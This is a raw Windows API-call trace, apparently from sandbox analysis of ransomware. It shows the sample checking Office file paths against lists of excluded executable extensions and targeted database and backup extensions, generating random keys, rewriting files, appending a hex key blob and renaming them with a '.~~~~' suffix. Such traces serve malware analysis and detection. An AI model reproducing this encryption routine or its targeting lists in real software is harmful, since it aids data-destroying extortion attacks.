	[0142.494] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.494] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir20f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0142.496] lstrlenW (lpString=".sqb") returned 4
	[0142.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".sqb") returned 0x0
	[0142.496] lstrlenW (lpString=".ost") returned 4
	[0142.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".ost") returned 0x0
	[0142.496] lstrlenW (lpString=".txt") returned 4
	[0142.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".txt") returned 0x0
	[0142.496] lstrlenW (lpString=".mdt") returned 4
	[0142.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".mdt") returned 0x0
	[0142.496] lstrlenW (lpString=".BDB") returned 4
	[0142.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".BDB") returned 0x0
	[0142.496] lstrlenW (lpString=".eql") returned 4
	[0142.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".eql") returned 0x0
	[0142.497] lstrlenW (lpString=".DBF") returned 4
	[0142.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".DBF") returned 0x0
	[0142.497] lstrlenW (lpString=".EQL") returned 4
	[0142.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".EQL") returned 0x0
	[0142.497] lstrlenW (lpString=".FDB") returned 4
	[0142.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".FDB") returned 0x0
	[0142.497] lstrlenW (lpString=".EDB") returned 4
	[0142.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".EDB") returned 0x0
	[0142.497] lstrlenW (lpString=".DACPAC") returned 7
	[0142.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.497] lstrlenW (lpString=".VHD") returned 4
	[0142.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".VHD") returned 0x0
	[0142.497] lstrlenW (lpString=".DBV") returned 4
	[0142.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".DBV") returned 0x0
	[0142.497] lstrlenW (lpString=".dacpac") returned 7
	[0142.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.497] lstrlenW (lpString=".sdf") returned 4
	[0142.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".sdf") returned 0x0
	[0142.497] lstrlenW (lpString=".accdb") returned 6
	[0142.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".accdb") returned 0x0
	[0142.497] lstrlenW (lpString=".DBX") returned 4
	[0142.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".DBX") returned 0x0
	[0142.497] lstrlenW (lpString=".MDT") returned 4
	[0142.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".MDT") returned 0x0
	[0142.497] lstrlenW (lpString=".SQB") returned 4
	[0142.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".SQB") returned 0x0
	[0142.497] lstrlenW (lpString=".vhd") returned 4
	[0142.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".vhd") returned 0x0
	[0142.497] lstrlenW (lpString=".bac") returned 4
	[0142.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".bac") returned 0x0
	[0142.497] lstrlenW (lpString=".mdf") returned 4
	[0142.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".mdf") returned 0x0
	[0142.498] lstrlenW (lpString=".BAK") returned 4
	[0142.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".BAK") returned 0x0
	[0142.498] lstrlenW (lpString=".BAC") returned 4
	[0142.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".BAC") returned 0x0
	[0142.498] lstrlenW (lpString=".dbs") returned 4
	[0142.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".dbs") returned 0x0
	[0142.498] lstrlenW (lpString=".vhdx") returned 5
	[0142.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.498] lstrlenW (lpString=".NDF") returned 4
	[0142.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".NDF") returned 0x0
	[0142.498] lstrlenW (lpString=".dat") returned 4
	[0142.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".dat") returned 0x0
	[0142.498] lstrlenW (lpString=".DBS") returned 4
	[0142.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".DBS") returned 0x0
	[0142.498] lstrlenW (lpString=".CKP") returned 4
	[0142.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".CKP") returned 0x0
	[0142.498] lstrlenW (lpString=".edb") returned 4
	[0142.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".edb") returned 0x0
	[0142.498] lstrlenW (lpString=".PST") returned 4
	[0142.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".PST") returned 0x0
	[0142.498] lstrlenW (lpString=".dbf") returned 4
	[0142.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".dbf") returned 0x0
	[0142.498] lstrlenW (lpString=".SQL") returned 4
	[0142.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".SQL") returned 0x0
	[0142.498] lstrlenW (lpString=".pst") returned 4
	[0142.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".pst") returned 0x0
	[0142.498] lstrlenW (lpString=".dbv") returned 4
	[0142.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".dbv") returned 0x0
	[0142.498] lstrlenW (lpString=".SDF") returned 4
	[0142.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".SDF") returned 0x0
	[0142.498] lstrlenW (lpString=".dtxs") returned 5
	[0142.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.498] lstrlenW (lpString=".db3") returned 4
	[0142.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".db3") returned 0x0
	[0142.498] lstrlenW (lpString=".OST") returned 4
	[0142.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".OST") returned 0x0
	[0142.499] lstrlenW (lpString=".dbx") returned 4
	[0142.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".dbx") returned 0x0
	[0142.499] lstrlenW (lpString=".DB3") returned 4
	[0142.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".DB3") returned 0x0
	[0142.499] lstrlenW (lpString=".DAT") returned 4
	[0142.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".DAT") returned 0x0
	[0142.499] lstrlenW (lpString=".VHDX") returned 5
	[0142.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.499] lstrlenW (lpString=".ndf") returned 4
	[0142.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".ndf") returned 0x0
	[0142.499] lstrlenW (lpString=".DB") returned 3
	[0142.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".DB") returned 0x0
	[0142.499] lstrlenW (lpString=".sql") returned 4
	[0142.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".sql") returned 0x0
	[0142.499] lstrlenW (lpString=".MYD") returned 4
	[0142.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".MYD") returned 0x0
	[0142.499] lstrlenW (lpString=".DBT") returned 4
	[0142.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".DBT") returned 0x0
	[0142.499] lstrlenW (lpString=".ACCDB") returned 6
	[0142.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.499] lstrlenW (lpString=".fdb") returned 4
	[0142.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".fdb") returned 0x0
	[0142.499] lstrlenW (lpString=".bak") returned 4
	[0142.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".bak") returned 0x0
	[0142.499] lstrlenW (lpString=".myd") returned 4
	[0142.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".myd") returned 0x0
	[0142.500] lstrlenW (lpString=".DTXS") returned 5
	[0142.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.500] lstrlenW (lpString=".ckp") returned 4
	[0142.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".ckp") returned 0x0
	[0142.500] lstrlenW (lpString=".dbt") returned 4
	[0142.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".dbt") returned 0x0
	[0142.500] lstrlenW (lpString=".db") returned 3
	[0142.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".db") returned 0x0
	[0142.500] lstrlenW (lpString=".TXT") returned 4
	[0142.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".TXT") returned 0x0
	[0142.500] lstrlenW (lpString=".MDF") returned 4
	[0142.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".MDF") returned 0x0
	[0142.500] lstrlenW (lpString=".bdb") returned 4
	[0142.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".bdb") returned 0x0
	[0142.500] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0142.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.500] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0142.501] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.502] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0142.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0142.502] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26249201045) returned 1
	[0142.502] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbe588b90, dwHighDateTime=0x1d60e1e)) 
	[0142.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0142.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0142.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0142.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27faaf8
	[0142.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27faaf8 | out: hHeap=0x300000) returned 1
	[0142.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a9a98
	[0142.503] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c98
	[0142.503] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9a98 | out: hHeap=0x300000) returned 1
	[0142.503] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0142.503] GetLastError () returned 0x0
	[0142.503] GetLastError () returned 0x0
	[0142.503] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0142.504] GetLastError () returned 0x0
	[0142.504] GetLastError () returned 0x0
	[0142.504] ReadFile (in: hFile=0x104, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0xc85, lpOverlapped=0x0) returned 1
	[0142.506] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffff37b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.506] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xc85, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0xc85, lpOverlapped=0x0) returned 1
	[0142.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0142.506] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.507] WriteFile (in: hFile=0x104, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.507] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.507] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.507] CloseHandle (hObject=0x104) returned 1
	[0142.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9a98
	[0142.507] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir20f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir20f.gif.~~~~")) returned 1
	[0142.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9a98 | out: hHeap=0x300000) returned 1
	[0142.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0142.510] GetLastError () returned 0x0
	[0142.510] RtlWakeConditionVariable () returned 0x365f70
	[0142.510] GetCurrentThreadId () returned 0x9cc
	[0142.510] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".scr") returned 0x0
	[0142.510] lstrlenW (lpString=".cmd") returned 4
	[0142.510] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".cmd") returned 0x0
	[0142.511] lstrlenW (lpString=".dll") returned 4
	[0142.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".dll") returned 0x0
	[0142.511] lstrlenW (lpString=".bat") returned 4
	[0142.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".bat") returned 0x0
	[0142.511] lstrlenW (lpString=".cpl") returned 4
	[0142.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".cpl") returned 0x0
	[0142.511] lstrlenW (lpString=".sys") returned 4
	[0142.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".sys") returned 0x0
	[0142.511] lstrlenW (lpString=".msc") returned 4
	[0142.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".msc") returned 0x0
	[0142.511] lstrlenW (lpString=".com") returned 4
	[0142.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".com") returned 0x0
	[0142.511] lstrlenW (lpString=".lnk") returned 4
	[0142.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".lnk") returned 0x0
	[0142.511] lstrlenW (lpString=".msp") returned 4
	[0142.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".msp") returned 0x0
	[0142.511] lstrlenW (lpString=".pif") returned 4
	[0142.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".pif") returned 0x0
	[0142.511] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.511] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir21f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0142.513] lstrlenW (lpString=".sqb") returned 4
	[0142.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".sqb") returned 0x0
	[0142.513] lstrlenW (lpString=".ost") returned 4
	[0142.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".ost") returned 0x0
	[0142.513] lstrlenW (lpString=".txt") returned 4
	[0142.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".txt") returned 0x0
	[0142.513] lstrlenW (lpString=".mdt") returned 4
	[0142.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".mdt") returned 0x0
	[0142.514] lstrlenW (lpString=".BDB") returned 4
	[0142.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".BDB") returned 0x0
	[0142.514] lstrlenW (lpString=".eql") returned 4
	[0142.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".eql") returned 0x0
	[0142.514] lstrlenW (lpString=".DBF") returned 4
	[0142.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".DBF") returned 0x0
	[0142.514] lstrlenW (lpString=".EQL") returned 4
	[0142.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".EQL") returned 0x0
	[0142.514] lstrlenW (lpString=".FDB") returned 4
	[0142.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".FDB") returned 0x0
	[0142.514] lstrlenW (lpString=".EDB") returned 4
	[0142.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".EDB") returned 0x0
	[0142.514] lstrlenW (lpString=".DACPAC") returned 7
	[0142.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.514] lstrlenW (lpString=".VHD") returned 4
	[0142.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".VHD") returned 0x0
	[0142.514] lstrlenW (lpString=".DBV") returned 4
	[0142.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".DBV") returned 0x0
	[0142.514] lstrlenW (lpString=".dacpac") returned 7
	[0142.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.589] lstrlenW (lpString=".sdf") returned 4
	[0142.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".sdf") returned 0x0
	[0142.609] lstrlenW (lpString=".accdb") returned 6
	[0142.609] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".accdb") returned 0x0
